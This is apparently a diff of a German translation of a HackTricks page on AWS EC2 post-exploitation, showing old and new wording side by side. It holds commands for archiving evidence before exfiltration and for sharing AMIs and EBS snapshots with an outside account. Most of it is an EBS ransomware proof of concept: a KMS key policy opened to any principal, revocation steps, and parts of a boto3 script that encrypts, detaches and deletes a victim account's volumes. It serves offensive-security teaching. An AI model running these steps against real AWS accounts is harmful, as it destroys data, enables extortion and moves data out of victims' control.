# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -298,19 +301,19 @@ Tipp: Compress und encrypt Beweismaterial, bevor Sie es exfiltrating, damit Clou
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
|
||||
### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dazu entwickelt wurde, **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen**. Es automatisiert den Prozess, Instanzen aus den Ziel-AMIs zu starten, deren Volumes einzuhängen und nach potenziellen secrets oder sensiblen Daten zu scannen.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs) zu suchen**. Es automatisiert den Prozess, Instanzen aus Ziel-AMIs zu starten, deren Volumes zu mounten und nach potenziellen Secrets oder sensiblen Daten zu scannen.
|
||||
|
||||
### EBS Snapshot freigeben
|
||||
### EBS Snapshot teilen
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Ein Proof of Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Einfachheit, mit der es verschiedene AWS-Services zur Verschlüsselung verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
|
||||
Ein Proof-of-Concept ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der einfachen Nutzung zur Verschlüsselung verschiedener AWS-Services in RMS (Ransomware Management Service) umbenannt werden.
|
||||
|
||||
Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die key data verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS behalten. Ändere die key policy, damit jeder AWS account Principal den key benutzen kann. Für diese key policy hieß das Konto 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
Zuerst: Erstelle aus einem 'attacker' AWS-Konto einen customer managed key in KMS. Für dieses Beispiel lässt du AWS die key data verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS account Principal den key verwenden kann. Für diese key policy hieß das Konto 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -402,7 +405,7 @@ Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in
|
||||
]
|
||||
}
|
||||
```
|
||||
Die Key-Policy-Regel muss Folgendes erlauben, damit sie zum Verschlüsseln eines EBS-Volumes verwendet werden kann:
|
||||
Die Key-Policy-Regel muss Folgendes aktiviert haben, damit sie zum Verschlüsseln eines EBS-Volumes verwendet werden kann:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -410,21 +413,21 @@ Die Key-Policy-Regel muss Folgendes erlauben, damit sie zum Verschlüsseln eines
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nachdem der öffentlich zugängliche Key verfügbar ist, können wir ein 'victim' account verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes angehängt hat. Die EBS-Volumes dieses 'victim' accounts sind unser Ziel für die Verschlüsselung; dieser Angriff geht von einem angenommenen Kompromiss eines AWS-Accounts mit hohen Rechten aus.
|
||||
Nun, da der öffentlich zugängliche Key zur Verfügung steht. Wir können ein 'victim' account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim'-Accounts sind das Ziel der Verschlüsselung; dieser Angriff geht von einer angenommenen Kompromittierung eines AWS-Accounts mit hohen Privilegien aus.
|
||||
|
||||
 
|
||||
|
||||
Ähnlich wie im S3-ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und schließlich werden die Snapshots gelöscht, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
Ähnlich zum S3 ransomware example. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker'-Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die originalen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht schließlich die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
|
||||
Das Ergebnis ist, dass im Account nur noch verschlüsselte EBS-Volumes vorhanden sind.
|
||||
Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.
|
||||
|
||||
|
||||
|
||||
Außerdem ist erwähnenswert, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
Ebenfalls bemerkenswert: Das Skript hat die EC2-Instanzen gestoppt, um die originalen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind nun weg.
|
||||
|
||||
|
||||
|
||||
Als Nächstes kehren Sie zur Key-Policy im 'attacker' account zurück und entfernen die 'Outside Encryption'-Policy-Regel aus der Key-Policy.
|
||||
Als Nächstes kehre zur Key-Policy im 'attacker'-Account zurück und entferne die 'Outside Encryption'-Regel aus der Key-Policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -495,15 +498,15 @@ Als Nächstes kehren Sie zur Key-Policy im 'attacker' account zurück und entfer
|
||||
]
|
||||
}
|
||||
```
|
||||
Warten Sie einen Moment, bis die neu gesetzte key policy propagiert ist. Kehren Sie dann in das 'victim'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
|
||||
Warten Sie einen Moment, bis die neu gesetzte key policy propagiert ist. Kehren Sie dann zum 'victim' account zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
|
||||
|
||||
 
|
||||
|
||||
Aber wenn Sie tatsächlich versuchen, die EC2-Instance mit dem verschlüsselten EBS-Volume wieder zu starten, schlägt das fehl und der Status wechselt von 'pending' zurück in den 'stopped'-Zustand und bleibt dort, weil das angehängte EBS-Volume mit dem Key nicht entschlüsselt werden kann, da die key policy dies nicht mehr erlaubt.
|
||||
Wenn Sie jedoch versuchen, die EC2 instance mit dem verschlüsselten EBS-Volume wieder zu starten, schlägt dies fehl und der Zustand wechselt dauerhaft von 'pending' zurück zu 'stopped', da das angehängte EBS-Volume nicht mit dem key entschlüsselt werden kann, weil die key policy dies nicht mehr erlaubt.
|
||||
|
||||
 
|
||||
|
||||
Dies ist das verwendete python-Skript. Es nimmt AWS creds für ein 'victim'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zur Verschlüsselung verwendeten Key entgegen. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im Ziel-AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, trennt die ursprünglichen EBS-Volumes, löscht diese und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im Ziel-'victim'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUTZEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINALEN EBS-VOLUMES LÖSCHEN. Sie können sie mit dem verwendeten KMS-Key wiederherstellen und via Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte Sie darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.
|
||||
Dies ist das verwendete python script. Es nimmt AWS creds für einen 'victim' account und einen öffentlich verfügbaren AWS ARN-Wert für den zur Verschlüsselung verwendeten key. Das Script erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2 instances im Ziel-AWS-account angehängt sind, stoppt dann jede EC2 instance, trennt die ursprünglichen EBS-Volumes, löscht sie und entfernt schließlich alle während des Prozesses verwendeten snapshots. Dadurch verbleiben im Ziel-'victim' account nur noch verschlüsselte EBS-Volumes. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SCRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Sie können diese mit dem verwendeten KMS key wiederherstellen und über snapshots in den ursprünglichen Zustand zurückbringen, aber ich möchte Sie darauf hinweisen, dass dies letztlich ein ransomware PoC ist.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -622,8 +625,10 @@ main()
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [Latacora - ECS on EC2: Schließen von Lücken in der IMDS-Härtung](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform-Repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Wie man Dateien in AWS mit SSM überträgt](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user